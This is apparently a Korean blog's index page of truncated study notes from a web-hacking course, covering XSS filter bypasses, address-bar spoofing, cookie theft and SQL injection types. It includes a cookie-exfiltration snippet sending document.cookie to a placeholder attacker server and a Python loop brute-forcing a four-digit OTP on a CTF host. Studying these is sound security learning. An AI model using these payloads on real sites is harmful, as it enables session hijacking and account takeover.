본문 바로가기

분류 전체보기

(74)
11주차 XSS대응방안 / EVENT HANDLER / CLIENT SCRIPT 11주차 XSS대응방안 / EVENT HANDLER / CLIENT SCRIPT XSS 대응방안 - HTML ENTITY - FILTERING FILTERING - 블랙리스트 기반 필터링 -> 특정 단어만 제한/ 우회 가능성 존재 - 화이트리스트 기반 필터링 -> 특정 단어만 허용 블랙리스트 기반 필터링 우회 - 길이 제한 EX) -> 스크립트태그에 공격자서버의 악성 스크립트가 작성되어있는 외부 링크를 가져온다 - script 단어 필터링 EX) -> 그대로 값 삽입 뒤로가기 가능 -> 함수표현 뒤로가기 불가능 주소창 변조 - history.pushState(상태, 제목, 링크) - 주소창의 글자일부를 변환 - 도메인은 바꿀 수 없음 - 도메인 이후 의 글자를 로그인 페이지처럼 꾸미거나 글자 길이를 줄일..
10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법 10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법 XSS COOKIE - SESSION SESSIONID COOKIE 세션아이디가 쿠키게 저장이되어서 다른계정인척 위조 하여 정보 탈취 할 수 있다. - JAVASCRIPT 의 document.cookie사용 - 해당 도메인의 세션만 탈취 할 수 있음. - XSS 종류는 상관없다. EX) 쿠키탈취 var cookieData = document.cookie; -> var cookieData = document.cookie; //웹 페이지의 쿠키를 가져와서 변수를 설정한다. -> DOCUMENT.COOKIE는 같은 도메인의 쿠키만 가져온다 쿠키 전달 var i = new Image(); i.src ="공격자서버/?cookie=" + ..
9주차 XSS /STORED XSS / CROSSED XSS /보고서 9주차 XSS /STORED XSS / CROSSED XSS XSS - CROSS SITE SCRIPTING - 크사,크스스,크싸 - 클라이언트 측 = 이용자 측 에서 스크립트를 삽입해 실행시키는 것이다 - 즉 피해자는 이용자 - 취약점이 많이나오는 방법 - CSRF XSS는 클라이언트에서 실행되는 공격이므로 공격자 피해자 입장을 동시에 실행하는 것이 중요하다. - 공격에 활용한 XSS인지 생각해보는 것도 중요하다. - JAVASCRIPT를 많이 이용하므로 공부하는 것이 좋다 +JAVASCRIPT 주석 // /* */ CLIENT SCRIPT - 이용자의 브라우저에서 실행되는 것 - 공격자의 악성스크립트가 이용자의 브라우저에서 실행된다 - HTML / CSS / JAVASCRIPT 등 + HTML은 프로..
8주차 SQL INJECTION POINT와 대응방법 / ORDER BY ERROR / CASE WHEN  SQL INJECTION POINT와 대응방법 / ORDER BY ERROR / CASE WHEN SQL INJECTION POINT - DB에게 SQL 질의문을 사용하는 곳에 모두 사용된다 DB의 DATA를 가져오거나 저장하는 곳 - COOKIE, HTTP 요청 HEADET - COLUMN - ORDER BY 절 - ORDER BY 절에서 가장 많이 이용된다. EX) -> SQL 구문과 연결된 파라미터 (파라미터는 URL의?뒤부터 나온다 이를 조작할 수 있다.) -> SQL 구문과 연결된 데이터 -> 입력이 가능한 곳 -> 로그인 -> SQL 구문이 연결된 사용자 입력 칸 SQL INJECTION POINT 찾기 1. SELECT을 프록시로 데이터를 변조 시킬수 있는가 2. 참조건과 거짓조건의 출력이 ..
URL 변경 import requests #HTTP 요청을 보내고 응답을 받을때 사용한다 print("크랙시작") #출력 for i in range(0,9999): #i가 0부터 9999까지 4자리? number = str(i).zfill(4) //i를 문자열로변환후 문자열의 길이를 4자리로 맞춘다 왼쪽에0을채워서 print("입력" + number, end="\r") #number 출력되고 출력후 커서가 해당줄 맨 앞으로 이동 response = requests.get("http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum=" + number) #resquests.get은 url에 get요청을 보내고 응답을 받는다 해당 링크를 보내고 + number을 연결한다 if 'Lo..
7주차 ERROR BASED SQL / BLIND SQL INJECTION / EXTRACTVALU / CONCAT / SUBSTR/ ASCII CODE ERROR BASED SQL / BLIND SQL INJECTION / EXTRACTVALU / CONCAT / SUBSTR/ ASCII CODE SQL INJECTION - 데이터가 출력되는 곳 - SQL 질의 결과가 출력 될 때 -> UNION SQL INJECTION - ERROR 메시지가 출력 될 때 -> ERROR BASED SQL INJECTION - 참과 거짓이 출력 될 때 -> BLIND SQL INJECTION ERROR BASED SQL INJECTION - 에러 메시지를 활용하여 데이터 출력 - 데이터를 출력하려면 SELECT문을 사용해야하고 에러메시지에 SELECT 문의 결과가 출력되는 것이 목표 - 즉, 셀렉트문 내의 에러를 사용한다. - 로직에러 -> SQL 에러 사용 BLIND..
6주차 UNION SQL INJECTION/ORDER BY/LIMIT/LIKE 6주차 UNION SQL INJECTION /ORDER BY/LIMIT/LIKE/ SQL INJECTION 데이터 추출 - Database를 사용하는 곳에서 데이터를 추출 할 수 있다 - Data가 웹페이지에 출력 되는가 안되는가 확인 해야한다. -> 출력 : 게시판, 마이페이지 등 -> 미출력 : 로그인 등등 Data가 출력 되는 페이지에서의 SQL INJECTION - 어떤 데이터베이스가 출력 되는 곳인지 확인해야한다 - 게시판이면 게시판 관련 디비 마이페이지면 그 관련 디비 - 즉, 지정된 테이블값과 컬럼이 존재한다 - 이미 웹페이지에 있는 WAS의 전 후로는 바꿀 수 없어서 조작할 수 있는 부분을 공략해야 한다 - 따라서 다른테이블의 데이터를 출력하고싶을때는? - UNION / ORDER BY 등..
5주차 SQL INJECTION 쿠키조작/인증우회 5주차 SQL INJECTION 쿠키조작 인증우회 SQL INJECTION - SQL에게 말하는 언어를 삽입해서 원하는 값을 얻기! - SQL 질의문이 사용가능한 취약점이다 - 웹 페이지 와스에게 코드를 삽입 할 수 있는 입력창에 SQL구문을 삽입해서 디비데이터를 추출한다 - PHP코드로 입력한다. SQL INJECTION 모의해킹시 주의할점 - DATABASE 건드는 작업은 DATABASE가 날라가지 않도록 조심 - 특히 INSERT/DELETE/UPDATE - OR 이나 주석을 남용하면 안된다 - 데이터를 변조하면 안된다. 식별 인증 분리에서의 SQL INJECTION EX) select * from 테이블 where id='입력값' -> select * from 테이블 where id='입력값' /..